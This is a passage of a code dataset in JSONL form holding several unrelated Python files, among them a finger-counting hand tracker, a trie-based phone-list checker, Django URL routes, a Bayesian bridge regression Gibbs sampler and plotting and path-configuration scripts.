core.G3VectorDouble([p_at_t['a2'], p_at_t['a3'], p_at_t['a4']])\n if 'a5' in p_at_t:\n out['fixedCollimation'] = core.G3VectorDouble([p_at_t['a5'], p_at_t['a6']])\n if 'az0' in p_at_t:\n out['az0'] = core.G3VectorDouble([p_at_t['az0']])\n\n return out\n\n","sub_path":"pointing/offline_pointing.py","file_name":"offline_pointing.py","file_ext":"py","file_size_in_byte":17877,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"609346333","text":"import HandTrackingModule as htm\r\n\r\nclass fingerCounter():\r\n def __init__(self):\r\n # Calls the HandTrackingModule and sets the tipIds to the tips of the fingers' ids\r\n self.detector = htm.handDetector(maxHands=1)\r\n self.tipIds = [4, 8, 12, 16, 20]\r\n\r\n def getFingerCount(self, img, draw=True, thumb_con=-10):\r\n \r\n # Get the finger positions and the img\r\n lmList,img = self.detector.findPosition(img, draw=True if draw == True else False)\r\n\r\n fingers = []\r\n if len(lmList) != 0:\r\n fingers = []\r\n\r\n # Thumb\r\n # Checks if the x coordinate of tip of the thumb is smaller than the x coordinate of the tip of the little\r\n # finger. its used to check if my hand is facing towards the cam or not\r\n if lmList[self.tipIds[0]][1] > lmList[self.tipIds[4]][1]:\r\n\r\n # If the hand is not facing the camera it checks if the tip of the thumb's x coordinate - bone under\r\n # the tip of the thumb's x coordinate is smaller than 15\r\n if lmList[self.tipIds[0]-1][1] - lmList[self.tipIds[0]][1] < thumb_con:\r\n fingers.append(1)\r\n else:\r\n fingers.append(0)\r\n else:\r\n\r\n # If the hand is facing the camera it checks if the tip of the thumb's x coordinate - bone under\r\n # the tip of the thumb's x coordinate is bigger than 15\r\n if lmList[self.tipIds[0]-1][1] - lmList[self.tipIds[0]][1] > thumb_con:\r\n fingers.append(1)\r\n else:\r\n fingers.append(0)\r\n\r\n # 4 Fingers\r\n for id in range(1, 5):\r\n try:\r\n # If the y of tip of the finger is smaller than the lowest bone of the finger\r\n if lmList[self.tipIds[id]][2] < lmList[self.tipIds[id] - 2][2]:\r\n fingers.append(1)\r\n else:\r\n fingers.append(0)\r\n except IndexError:\r\n pass\r\n\r\n # Return the finger array and the image array\r\n return (fingers,img)\r\n","sub_path":"Pyhton/FingerCounterModule.py","file_name":"FingerCounterModule.py","file_ext":"py","file_size_in_byte":2179,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"534239304","text":"import csv\nimport re\nimport datetime\nfrom collections import defaultdict, namedtuple\n\nDATA = 'days/04-06-collections/D6/BIO1101-intra.csv'\n\nStudent = namedtuple('Student', 'time score question')\n\ndef get_score_by_question():\n \"\"\"Extracts all students form the datafile. For each question, get\n a list of all score on 100.\n\n Args:\n file (str): datafile\n Return:\n dictionary\n \"\"\"\n headers = []\n scores_question = defaultdict(list)\n mean_score_by_question = {}\n with open(DATA, encoding='utf-8') as f:\n csvin = csv.reader(f)\n headers = next(csvin)\n with open(DATA, encoding='utf-8') as f:\n for line in csv.DictReader(f):\n for h in headers:\n try:\n q = re.search('^Q..[0-9]{1,2}',h).group(0)\n brut = float(line[h])\n t = float(h[-4:])\n rel_score = brut/t\n except (ValueError, AttributeError):\n continue\n scores_question[q].append(rel_score)\n for q, s in scores_question.items():\n mean_score_by_question[q] = round(sum(s)/len(s)*100, 2)\n return {key: value for key, value in sorted(mean_score_by_question.items(), key=lambda item: item[1])}\n\n\ndef time_spent():\n liste_temps = []\n with open(DATA, encoding='utf-8') as f:\n for line in csv.DictReader(f):\n try:\n t = datetime.datetime.strptime(line['Temps utilisé'], '%H heures %M min').time()\n secondes = (t.hour * 60 + t.minute) * 60\n except ValueError:\n continue\n liste_temps.append(secondes)\n print(datetime.timedelta(seconds=sum(liste_temps)/len(liste_temps)))\n\n\nif __name__ == \"__main__\":\n scores_by_question = get_score_by_question()\n for q, s in scores_by_question.items():\n print(f'{q}\\t{s}')\n time_spent()","sub_path":"days/04-06-collections/D6/intra_stats.py","file_name":"intra_stats.py","file_ext":"py","file_size_in_byte":1894,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"532847139","text":"#전화번호 목록\nimport sys\n\nclass node:\n def __init__(self,key,data=None):\n self.key = key\n self.data = data\n self.child = {}\n\nclass trie:\n def __init__(self):\n self.head = node(None)\n\n def insert(self,string):\n cur_node = self.head\n\n for char in string:\n if char not in cur_node.child:\n cur_node.child[char] = node(char)\n cur_node = cur_node.child[char]\n if cur_node.data != None:\n return False\n\n cur_node.data = string\n if cur_node.child:\n return False\n return True\n\nN = int(sys.stdin.readline())\n\nfor _ in range(N):\n trie1 = trie()\n M = int(sys.stdin.readline())\n ans = True\n for _ in range(M):\n A = str(sys.stdin.readline().rstrip())\n temp = trie1.insert(A)\n if temp == False:\n ans = False\n if ans:\n print(\"YES\")\n else:\n print(\"NO\")\n","sub_path":"Python/7주차_트라이/정글_7_5052.py","file_name":"정글_7_5052.py","file_ext":"py","file_size_in_byte":952,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"210257528","text":"#!/usr/bin/env python\n\n\"\"\"\nFor each of the OzFlux/FLUXNET2015 sites, plot the TXx and T-4 days\nQle and bowen ratio\n\nThat's all folks.\n\"\"\"\n\n__author__ = \"Martin De Kauwe\"\n__version__ = \"1.0 (20.04.2018)\"\n__email__ = \"mdekauwe@gmail.com\"\n\nimport os\nimport sys\nimport glob\nimport netCDF4 as nc\nimport numpy as np\nimport xarray as xr\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport re\nimport constants as c\n\ndef main(fname):\n\n plot_dir = \"plots\"\n if not os.path.exists(plot_dir):\n os.makedirs(plot_dir)\n\n df = pd.read_csv(fname)\n df = df[df.pft == \"EBF\"]\n ignore_sites = [\"Tumbarumba\"]\n for site in ignore_sites:\n df = df.drop( df[(df.site == site)].index )\n #width = 12.0\n #height = width / 1.618\n #print(width, height)\n #sys.exit()\n width = 14\n height = 10\n fig = plt.figure(figsize=(width, height))\n fig.subplots_adjust(hspace=0.05)\n fig.subplots_adjust(wspace=0.05)\n plt.rcParams['text.usetex'] = False\n plt.rcParams['font.family'] = \"sans-serif\"\n plt.rcParams['font.sans-serif'] = \"Helvetica\"\n plt.rcParams['axes.labelsize'] = 14\n plt.rcParams['font.size'] = 14\n plt.rcParams['legend.fontsize'] = 10\n plt.rcParams['xtick.labelsize'] = 14\n plt.rcParams['ytick.labelsize'] = 14\n\n\n count = 0\n sites = np.unique(df.site)\n for site in sites:\n site_name = re.sub(r\"(\\w)([A-Z])\", r\"\\1 \\2\", site)\n ax = fig.add_subplot(3,3,1+count)\n\n df_site = df[df.site == site]\n events = int(len(df_site)/4)\n\n cnt = 0\n for e in range(0, events):\n\n from scipy import stats\n x = df_site[\"temp\"][cnt:cnt+4]\n y = df_site[\"GPP\"][cnt:cnt+4]\n slope, intercept, r_value, p_value, std_err = stats.linregress(x,y)\n #print(site, slope, p_value)\n if slope < 0.0 and p_value <= 0.05:\n ax.plot(df_site[\"temp\"][cnt:cnt+4], df_site[\"GPP\"][cnt:cnt+4],\n label=site, ls=\"-\", marker=\"o\", zorder=100)\n elif slope < 0.0 and p_value > 0.05:\n ax.plot(df_site[\"temp\"][cnt:cnt+4], df_site[\"GPP\"][cnt:cnt+4],\n label=site, ls=\"-\", marker=\"o\", color=\"lightgrey\",\n zorder=1)\n cnt += 4\n\n if count == 0:\n ax.set_ylabel(\"GPP (g C m$^{-2}$ d$^{-1}$)\", position=(0.5, 0.0))\n if count == 4:\n #ax.set_xlabel('Temperature ($^\\circ$C)', position=(1.0, 0.5))\n ax.set_xlabel('Temperature ($^\\circ$C)')\n\n if count < 3:\n plt.setp(ax.get_xticklabels(), visible=False)\n\n if count != 0 and count != 3:\n plt.setp(ax.get_yticklabels(), visible=False)\n\n props = dict(boxstyle='round', facecolor='white', alpha=1.0,\n ec=\"white\")\n ax.text(0.04, 0.95, site_name,\n transform=ax.transAxes, fontsize=14, verticalalignment='top',\n bbox=props)\n\n from matplotlib.ticker import MaxNLocator\n ax.yaxis.set_major_locator(MaxNLocator(4))\n ax.set_ylim(0, 15)\n ax.set_xlim(15, 50)\n count += 1\n\n\n ofdir = \"/Users/mdekauwe/Dropbox/fluxnet_heatwaves_paper/figures/figs\"\n fig.savefig(os.path.join(ofdir, \"all_events_GPP_CABLE.pdf\"),\n bbox_inches='tight', pad_inches=0.1)\n #plt.show()\n\nif __name__ == \"__main__\":\n\n data_dir = \"outputs/\"\n fname = \"ozflux_all_events_CABLE.csv\"\n fname = os.path.join(data_dir, fname)\n main(fname)\n","sub_path":"src/plot_GPP_at_all_events_above_Tthreh_CABLE.py","file_name":"plot_GPP_at_all_events_above_Tthreh_CABLE.py","file_ext":"py","file_size_in_byte":3488,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"635129462","text":"import io\r\nimport os\r\nimport sys\r\nfrom PIL import Image, ImageDraw, ExifTags, ImageColor\r\nfrom paramiko_conn import connection\r\n\r\ndef detect_lines(photo):\r\n\r\n fill_red='#ff0000'\r\n line_width=10\r\n\r\n\r\n image = Image.open(open(photo,'rb'))\r\n stream = io.BytesIO()\r\n image.save(stream, format=image.format) \r\n image_binary = stream.getvalue()\r\n imgWidth, imgHeight = image.size \r\n draw = ImageDraw.Draw(image) \r\n\r\n ox = connection(photo)\r\n for box in ox: \r\n left = imgWidth * box['Left']\r\n top = imgHeight * box['Top']\r\n width = imgWidth * box['Width']\r\n height = imgHeight * box['Height']\r\n points = (\r\n (left,top),\r\n (left + width, top),\r\n (left + width, top + height),\r\n (left , top + height),\r\n (left, top)\r\n )\r\n draw.line(points, fill=fill_red, width=line_width)\r\n\r\n image.show()\r\n\r\ndef main():\r\n\r\n photo = sys.argv[1]\r\n detect_lines(photo)\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","sub_path":"client-side/draw_line.py","file_name":"draw_line.py","file_ext":"py","file_size_in_byte":1033,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"468169326","text":"import numpy as np\nimport scipy as sp\nimport scipy.stats\nimport scipy.linalg\nimport scipy.sparse\nimport math\nimport time\nimport pdb\nfrom .util.simple_warnings import warn_message_only\nfrom .random import BasicRandom\nfrom .reg_coef_sampler import SparseRegressionCoefficientSampler\nfrom .design_matrix import SparseDesignMatrix, DenseDesignMatrix\n\n\nclass BayesBridge():\n\n def __init__(self, y, X, n_trial=None, model='linear',\n n_coef_without_shrinkage=0, prior_sd_for_unshrunk=float('inf'),\n add_intercept=True):\n \"\"\"\n Params\n ------\n y : vector\n X : numpy array or scipy sparse matrix\n n_trial : vector\n Used for the logistic model for binomial outcomes.\n model : str, {'linear', 'logit'}\n n_coef_without_shrinkage : int\n The number of predictors whose coefficients are to be estimated\n without any shrinkage (a.k.a. regularization).\n prior_sd_for_unshrunk : float, numpy array\n If an array, the length must be the same as n_coef_without_shrinkage.\n \"\"\"\n\n # TODO: Make each MCMC run more \"independent\" i.e. not rely on the\n # previous instantiation of the class. The initial run of the Gibbs\n # sampler probably depends too much the stuffs here.\n\n if not (np.isscalar(prior_sd_for_unshrunk)\n or n_coef_without_shrinkage == len(prior_sd_for_unshrunk)):\n raise ValueError('Invalid array size for prior sd.')\n\n if add_intercept:\n X, n_coef_without_shrinkage, prior_sd_for_unshrunk = \\\n self.add_intercept(X, n_coef_without_shrinkage, prior_sd_for_unshrunk)\n\n if model == 'logit':\n if n_trial is None:\n self.n_trial = np.ones(len(y))\n warn_message_only(\n \"The numbers of trials were not specified. The binary \"\n \"outcome is assumed.\"\n )\n else:\n self.n_trial = n_trial\n\n if np.isscalar(prior_sd_for_unshrunk):\n self.prior_sd_for_unshrunk = prior_sd_for_unshrunk \\\n * np.ones(n_coef_without_shrinkage)\n else:\n self.prior_sd_for_unshrunk = prior_sd_for_unshrunk\n self.n_unshrunk = n_coef_without_shrinkage\n self.model = model\n self.y = y\n self.X = SparseDesignMatrix(X) if sp.sparse.issparse(X) else DenseDesignMatrix(X)\n self.n_obs = X.shape[0]\n self.n_pred = X.shape[1]\n self.prior_type = {}\n self.prior_param = {}\n self.set_default_priors(self.prior_type, self.prior_param)\n self.rg = BasicRandom()\n\n def add_intercept(self, X, n_coef_without_shrinkage, prior_sd_for_unshrunk):\n if sp.sparse.issparse(X):\n hstack = sp.sparse.hstack\n else:\n hstack = np.hstack\n X = hstack((np.ones((X.shape[0], 1)), X))\n n_coef_without_shrinkage += 1\n if not np.isscalar(prior_sd_for_unshrunk):\n prior_sd_for_unshrunk = np.concatenate((\n [float('inf')], prior_sd_for_unshrunk\n ))\n return X, n_coef_without_shrinkage, prior_sd_for_unshrunk\n\n def set_default_priors(self, prior_type, prior_param):\n prior_type['global_shrinkage'] = 'jeffreys'\n # prior_type['global_shrinkage'] = 'half-cauchy'\n # prior_param['global_shrinkage'] = {'scale': 1.0}\n return prior_type, prior_param\n\n def gibbs_additional_iter(\n self, mcmc_output, n_iter, merge=False, deallocate=False):\n \"\"\"\n Continue running the Gibbs sampler from the previous state.\n\n Parameter\n ---------\n mcmc_output : the output of the 'gibbs' method.\n \"\"\"\n\n if merge and deallocate:\n warn_message_only(\n \"To merge the outputs, the previous one cannot be deallocated.\")\n deallocate = False\n\n self.rg.set_state(mcmc_output['_random_gen_state'])\n\n init = {\n key: np.take(val, -1, axis=-1).copy()\n for key, val in mcmc_output['samples'].items()\n }\n if 'precond_blocksize' in mcmc_output:\n precond_blocksize = mcmc_output['precond_blocksize']\n else:\n precond_blocksize = 0\n\n thin, reg_exponent, mvnorm_method, global_shrinkage_update = (\n mcmc_output[key] for key in\n ['thin', 'reg_exponent', 'mvnorm_method', 'global_shrinkage_update']\n )\n\n # Initalize the regression coefficient sampler with the previous state.\n self.reg_coef_sampler = SparseRegressionCoefficientSampler(\n init, self.prior_sd_for_unshrunk, mvnorm_method\n )\n self.reg_coef_sampler.set_internal_state(mcmc_output['_reg_coef_sampler_state'])\n\n if deallocate:\n mcmc_output.clear()\n\n next_mcmc_output = self.gibbs(\n 0, n_iter, thin, reg_exponent, init, mvnorm_method=mvnorm_method,\n precond_blocksize=precond_blocksize,\n global_shrinkage_update=global_shrinkage_update,\n _add_iter_mode=True\n )\n if merge:\n next_mcmc_output \\\n = self.merge_outputs(mcmc_output, next_mcmc_output)\n\n return next_mcmc_output\n\n def merge_outputs(self, mcmc_output, next_mcmc_output):\n\n samples = mcmc_output['samples']\n next_samples = next_mcmc_output['samples']\n next_mcmc_output['samples'] = {\n key : np.concatenate(\n (samples[key], next_samples[key]), axis=-1\n ) for key in samples.keys()\n }\n next_mcmc_output['n_post_burnin'] += mcmc_output['n_post_burnin']\n next_mcmc_output['runtime'] += mcmc_output['runtime']\n\n return next_mcmc_output\n\n def gibbs(self, n_burnin, n_post_burnin, thin=1, reg_exponent=.5,\n init={}, mvnorm_method='cg', precond_blocksize=0, seed=None,\n global_shrinkage_update='sample', _add_iter_mode=False):\n \"\"\"\n MCMC implementation for the Bayesian bridge.\n\n Parameters\n ----------\n n_burnin : int\n number of burn-in samples to be discarded\n n_post_burnin : int\n number of posterior draws to be saved\n mvnorm_method : str, {'direct', 'cg'}\n precond_blocksize : int\n size of the block preconditioner\n global_shrinkage_update : str, {'sample', 'optimize', None}\n\n \"\"\"\n\n if not _add_iter_mode:\n self.rg.set_seed(seed)\n\n if self.model not in ('linear', 'logit'):\n raise NotImplementedError()\n\n n_iter = n_burnin + n_post_burnin\n\n # Initial state of the Markov chain\n beta, sigma_sq, obs_prec, lshrink, gshrink, init = \\\n self.initialize_chain(init)\n\n if not _add_iter_mode:\n self.reg_coef_sampler = SparseRegressionCoefficientSampler(\n init, self.prior_sd_for_unshrunk, mvnorm_method\n )\n\n # Pre-allocate\n samples = {}\n self.pre_allocate(samples, n_post_burnin, thin)\n n_cg_iter = np.zeros(n_iter)\n\n # Start Gibbs sampling\n start_time = time.time()\n for mcmc_iter in range(1, n_iter + 1):\n\n if self.model == 'linear':\n obs_prec = np.ones(self.n_obs) / sigma_sq\n\n beta, n_cg_iter[mcmc_iter - 1] = self.update_beta(\n obs_prec, gshrink, lshrink, mvnorm_method, precond_blocksize\n )\n\n obs_prec, sigma_sq = self.update_obs_precision(beta)\n\n # Draw from gshrink | \\beta and then lshrink | gshrink, \\beta.\n # (The order matters.)\n gshrink = self.update_global_shrinkage(\n gshrink, beta[self.n_unshrunk:], reg_exponent, global_shrinkage_update)\n\n lshrink = self.update_local_shrinkage(\n gshrink, beta[self.n_unshrunk:], reg_exponent)\n\n self.store_current_state(samples, mcmc_iter, n_burnin, thin,\n beta, lshrink, gshrink, sigma_sq, obs_prec, reg_exponent)\n\n runtime = time.time() - start_time\n mcmc_output = {\n 'samples': samples,\n 'init': init,\n 'n_burnin': n_burnin,\n 'n_post_burnin': n_post_burnin,\n 'thin': thin,\n 'seed': seed,\n 'n_coef_wo_shrinkage': self.n_unshrunk,\n 'prior_sd_for_unshrunk': self.prior_sd_for_unshrunk,\n 'reg_exponent': reg_exponent,\n 'mvnorm_method': mvnorm_method,\n 'runtime': runtime,\n 'global_shrinkage_update': global_shrinkage_update,\n '_random_gen_state': self.rg.get_state(),\n '_reg_coef_sampler_state': self.reg_coef_sampler.get_internal_state()\n }\n if mvnorm_method == 'cg':\n mcmc_output['n_cg_iter'] = n_cg_iter\n if precond_blocksize > 0:\n mcmc_output['precond_blocksize'] = precond_blocksize\n\n return mcmc_output\n\n def pre_allocate(self, samples, n_post_burnin, thin):\n\n n_sample = math.floor(n_post_burnin / thin) # Number of samples to keep\n samples['beta'] = np.zeros((self.n_pred, n_sample))\n samples['local_shrinkage'] = np.zeros((self.n_pred - self.n_unshrunk, n_sample))\n samples['global_shrinkage'] = np.zeros(n_sample)\n if self.model == 'linear':\n samples['sigma_sq'] = np.zeros(n_sample)\n elif self.model == 'logit':\n samples['obs_prec'] = np.zeros((self.n_obs, n_sample))\n samples['logp'] = np.zeros(n_sample)\n\n return\n\n def initialize_chain(self, init):\n # Choose the user-specified state if provided, the default ones otherwise.\n\n if 'beta' in init:\n beta = init['beta']\n if not len(beta) == self.n_pred:\n raise ValueError('An invalid initial state.')\n else:\n beta = np.zeros(self.n_pred)\n if 'intercept' in init:\n beta[0] = init['intercept']\n\n if 'sigma' in init:\n sigma_sq = init['sigma'] ** 2\n else:\n sigma_sq = np.mean((self.y - self.X.dot(beta)) ** 2)\n\n if 'obs_prec' in init:\n obs_prec = np.ascontiguousarray(init['obs_prec'])\n # Cython requires a C-contiguous array.\n if not len(obs_prec) == self.n_obs:\n raise ValueError('An invalid initial state.')\n elif self.model == 'logit':\n obs_prec = self.compute_polya_gamma_mean(self.n_trial, self.X.dot(beta))\n else:\n obs_prec = None\n\n if 'local_shrinkage' in init:\n lshrink = init['local_shrinkage']\n if not len(lshrink) == (self.n_pred - self.n_unshrunk):\n raise ValueError('An invalid initial state.')\n else:\n lshrink = np.ones(self.n_pred - self.n_unshrunk)\n\n if 'global_shrinkage' in init:\n gshrink = init['global_shrinkage']\n else:\n gshrink = .01\n\n init = {\n 'beta': beta,\n 'sigma_sq': sigma_sq,\n 'obs_prec': obs_prec,\n 'local_shrinkage': lshrink,\n 'global_shrinkage': gshrink\n }\n\n return beta, sigma_sq, obs_prec, lshrink, gshrink, init\n\n def compute_polya_gamma_mean(self, shape, tilt):\n min_magnitude = 1e-5\n pg_mean = shape.copy() / 2\n is_nonzero = (np.abs(tilt) > min_magnitude)\n pg_mean[is_nonzero] \\\n *= 1 / tilt[is_nonzero] \\\n * (np.exp(tilt[is_nonzero]) - 1) / (np.exp(tilt[is_nonzero]) + 1)\n return pg_mean\n\n def update_beta(self, obs_prec, gshrink, lshrink, mvnorm_method, precond_blocksize):\n\n if self.model == 'linear':\n y_gaussian = self.y\n elif self.model == 'logit':\n y_gaussian = (self.y - self.n_trial / 2) / obs_prec\n\n beta, n_cg_iter = self.reg_coef_sampler.sample_gaussian_posterior(\n y_gaussian, self.X, obs_prec, gshrink, lshrink,\n mvnorm_method, precond_blocksize\n )\n\n return beta, n_cg_iter\n\n def update_obs_precision(self, beta):\n\n sigma_sq = None\n obs_prec = None\n if self.model == 'linear':\n resid = self.y - self.X.dot(beta)\n scale = np.sum(resid ** 2) / 2\n sigma_sq = scale / self.rg.np_random.gamma(self.n_obs / 2, 1)\n elif self.model == 'logit':\n obs_prec = self.rg.polya_gamma(\n self.n_trial, self.X.dot(beta),self.X.shape[0])\n\n return obs_prec, sigma_sq\n\n def update_global_shrinkage(\n self, gshrink, beta_with_shrinkage, reg_exponent, method='sample'):\n # :param method: {\"sample\", \"optimize\", None}\n\n if method == 'optimize':\n gshrink = self.monte_carlo_em_global_shrinkage(\n beta_with_shrinkage, reg_exponent)\n\n elif method == 'sample':\n\n if self.prior_type['global_shrinkage'] == 'jeffreys':\n\n # Conjugate update for phi = 1 / gshrink ** reg_exponent\n shape = beta_with_shrinkage.size / reg_exponent\n scale = 1 / np.sum(np.abs(beta_with_shrinkage) ** reg_exponent)\n phi = self.rg.np_random.gamma(shape, scale=scale)\n gshrink = 1 / phi ** (1 / reg_exponent)\n\n elif self.prior_type['global_shrinkage'] == 'half-cauchy':\n\n gshrink = self.slice_sample_global_shrinkage(\n gshrink, beta_with_shrinkage, self.prior_param['global_shrinkage']['scale'], reg_exponent\n )\n else:\n raise NotImplementedError()\n\n return gshrink\n\n def monte_carlo_em_global_shrinkage(\n self, beta_with_shrinkage, reg_exponent):\n phi = len(beta_with_shrinkage) / reg_exponent \\\n / np.sum(np.abs(beta_with_shrinkage) ** reg_exponent)\n gshrink = phi ** - (1 / reg_exponent)\n return gshrink\n\n def slice_sample_global_shrinkage(\n self, gshrink, beta_with_shrinkage, global_scale, reg_exponent):\n \"\"\" Slice sample phi = 1 / gshrink ** reg_exponent. \"\"\"\n\n n_update = 10 # Slice sample for multiple iterations to ensure good mixing.\n\n # Initialize a gamma distribution object.\n shape = (beta_with_shrinkage.size + 1) / reg_exponent\n scale = 1 / np.sum(np.abs(beta_with_shrinkage) ** reg_exponent)\n gamma_rv = sp.stats.gamma(shape, scale=scale)\n\n phi = 1 / gshrink\n for i in range(n_update):\n u = self.rg.np_random.uniform() \\\n / (1 + (global_scale * phi ** (1 / reg_exponent)) ** 2)\n upper = (np.sqrt(1 / u - 1) / global_scale) ** reg_exponent\n # Invert the half-Cauchy density.\n phi = gamma_rv.ppf(gamma_rv.cdf(upper) * self.rg.np_random.uniform())\n if np.isnan(phi):\n # Inverse CDF method can fail if the current conditional\n # distribution is drastically different from the previous one.\n # In this case, ignore the slicing variable and just sample from\n # a Gamma.\n phi = gamma_rv.rvs()\n gshrink = 1 / phi ** (1 / reg_exponent)\n\n return gshrink\n\n\n def update_local_shrinkage(self, gshrink, beta_with_shrinkage, reg_exponent):\n\n lshrink_sq = 1 / np.array([\n 2 * self.rg.tilted_stable(reg_exponent / 2, (beta_j / gshrink) ** 2)\n for beta_j in beta_with_shrinkage\n ])\n lshrink = np.sqrt(lshrink_sq)\n\n # TODO: Pick the lower and upper bound more carefully.\n if np.any(lshrink == 0):\n warn_message_only(\n \"Local shrinkage parameter under-flowed. Replacing with a small number.\")\n lshrink[lshrink == 0] = 10e-16\n elif np.any(np.isinf(lshrink)):\n warn_message_only(\n \"Local shrinkage parameter under-flowed. Replacing with a large number.\")\n lshrink[np.isinf(lshrink)] = 2.0 / gshrink\n\n return lshrink\n\n def store_current_state(self, samples, mcmc_iter, n_burnin, thin,\n beta, lshrink, gshrink, sigma_sq, obs_prec, reg_exponent):\n\n if mcmc_iter > n_burnin and (mcmc_iter - n_burnin) % thin == 0:\n index = math.floor((mcmc_iter - n_burnin) / thin) - 1\n samples['beta'][:, index] = beta\n samples['local_shrinkage'][:, index] = lshrink\n samples['global_shrinkage'][index] = gshrink\n if self.model == 'linear':\n samples['sigma_sq'][index] = sigma_sq\n elif self.model == 'logit':\n samples['obs_prec'][:, index] = obs_prec\n samples['logp'][index] = \\\n self.compute_posterior_logprob(beta, gshrink, sigma_sq, reg_exponent)\n\n return\n\n def compute_posterior_logprob(self, beta, gshrink, sigma_sq, reg_exponent):\n\n prior_logp = 0\n\n if self.model == 'logit':\n predicted_prob = 1 / (1 + np.exp( - self.X.dot(beta)))\n machine_prec = 2. ** - 53\n within_bd = np.logical_and(\n predicted_prob > machine_prec,\n predicted_prob < 1. - machine_prec\n )\n loglik = np.sum(\n self.y[within_bd] * np.log(predicted_prob[within_bd]) \\\n + (self.n_trial - self.y)[within_bd]\n * np.log(1 - predicted_prob[within_bd])\n )\n elif self.model == 'linear':\n loglik = - len(self.y) * math.log(sigma_sq) / 2 \\\n - np.sum((self.y - self.X.dot(beta)) ** 2) / sigma_sq\n prior_logp += - math.log(sigma_sq) / 2\n\n n_shrunk_coef = len(beta) - self.n_unshrunk\n\n # Contribution from beta | gshrink.\n prior_logp += \\\n - n_shrunk_coef * math.log(gshrink) \\\n - np.sum(np.abs(beta[self.n_unshrunk:] / gshrink) ** reg_exponent)\n\n # for coefficients without shrinkage.\n prior_logp += - 1 / 2 * np.sum(\n (beta[:self.n_unshrunk] / self.prior_sd_for_unshrunk) ** 2\n )\n prior_logp += - np.sum(np.log(\n self.prior_sd_for_unshrunk[self.prior_sd_for_unshrunk < float('inf')]\n ))\n if self.prior_type['global_shrinkage'] == 'jeffreys':\n prior_logp += - math.log(gshrink)\n else:\n raise NotImplementedError()\n\n logp = loglik + prior_logp\n\n return logp\n","sub_path":"bayesbridge/bayesbridge.py","file_name":"bayesbridge.py","file_ext":"py","file_size_in_byte":18504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"321165294","text":"__author__ = 'gchrysos'\n# definition of paths and folders useful for the pipeline.\n# Change with caution, as changes will be reflected to the whole pipeline.\n\nimport os\nsep = os.path.sep # separator (should be '/' for Linux and '\\' for Windows).\n\n__p_base_db = '/vol/atlas/databases/'\n_p_base_personal = '/vol/atlas/homes/grigoris/'\n\n# paths of public databases used for trainings\npath_to_helen = __p_base_db + 'helen/trainset/' # helen trainset\npath_to_ibug = __p_base_db + 'ibug/'\npath_to_lfpw = __p_base_db + 'lfpw/trainset/'\npath_to_cofw = _p_base_personal + 'external/cofw/frames/trainset/'\npath_pascal_base = _p_base_personal + 'external/VOCdevkit/VOC2007/'\npath_closed_eyes = _p_base_personal + 'Databases/eyes/grigoris_competition_8_2015/frames/'\n\npath_pickles = _p_base_personal + 'company_videos/pickles/'\npath_shape_pred = _p_base_personal + 'raps_menpo/shape_predictor_68_face_landmarks.dat' # predictor data trained to be used from dlib shape predictor\n\n# confirm that the ones above are valid paths\nfrom utils import check_if_path\ndef __db_p(path, db_name):\n return check_if_path(path, 'The database {} is not in the path provided ({}).'.format(db_name, path))\n\nif not (__db_p(path_to_helen, 'helen') and __db_p(path_to_ibug, 'ibug') and __db_p(path_pascal_base, 'pascal'))\\\n and (__db_p(path_to_lfpw, 'lfpw')):\n print('Potential problem if one of the databases are not in the path provided.')\n\n\n# folders for reading and writing in the project clips\nfoldvis = 'visualisations' + sep # folder where all image visualisations are\nframes = 'frames' + sep # folder for reading the frames/images\nfoldcmp = 'compare' + sep # folder for visual comparisons (will be inside visualisations by default)\n\nvisual = 0 # whether the landmarks should be exported during the process (1 for yes)\nimg_type_out = '.png' # extension (and type) of the images that will be exported\npts_type_out = '.pts'\n\nlist_done = [] # clips that should not be processed\n# list_done =['830386', '821238', '830183'];\n\n# definition of colours for visualisation\ncolour = ['r', 'b', 'g', 'c', 'm', 'k', 'w']\ncol_len = len(colour)\n\n# First refers to original image, second to cropped one.\nrender_options = {'colours': [colour,\n colour],\n 'sizes': [[2]*10,\n [2]*10],\n 'edgesizes': [[1]*10,\n [2]*10]}\n\n\n# common imports for all files\nimport os\nimport sys\nimport numpy as np\nimport glob\nfrom datetime import datetime\n\n","sub_path":"utils/path_and_folder_definition.py","file_name":"path_and_folder_definition.py","file_ext":"py","file_size_in_byte":2571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"174971151","text":"from django.conf.urls import patterns, include, url\nfrom django.contrib import admin\nfrom django.conf import settings\nfrom django.conf.urls.static import static\n\n\nurlpatterns = patterns('',\n # Examples:\n # url(r'^$', 'fundraise.views.home', name='home'),\n # url(r'^blog/', include('blog.urls')),\n url(r'^', include('upnextme.urls',\n namespace='upnextme')),\n url(r'^$', 'upnextme.views.index', name='index'),\n url(r'^admin/', include(admin.site.urls)),\n url(r'^ckeditor/', include('ckeditor_uploader.urls')),\n url(r'^chaining/', include('smart_selects.urls')),\n url(r'^grappelli/', include('grappelli.urls')),\n url('', include('social.apps.django_app.urls', namespace='social')),\n url('', include('django.contrib.auth.urls', namespace='auth')),\n )\n\nif settings.DEBUG:\n urlpatterns += static(settings.MEDIA_URL,\n document_root=settings.MEDIA_ROOT)\n","sub_path":"fundraise/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1178,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"78222097","text":"class Option(object):\n def __init__(self):\n self.batchsize = 128\n self.latentsize = 100\n self.y_ebdsize = 28\n self.latentoutsize = 1024*2*2\n self.num_classes = 16\n self.micro_in_macro = 4\n self.macro_in_full = 4\n self.datadir='../input/img_align_celeba/img_align_celeba'\n self.macro_size = 64\n self.micro_size = 32\n self.full_size = 128\n self.LAMBDA = 10\n self.ALPHA = 100\n self.epoch = 50\n self.max_dataset = 0\n self.my_model_dir = 'my_model'\n self.showgrad = 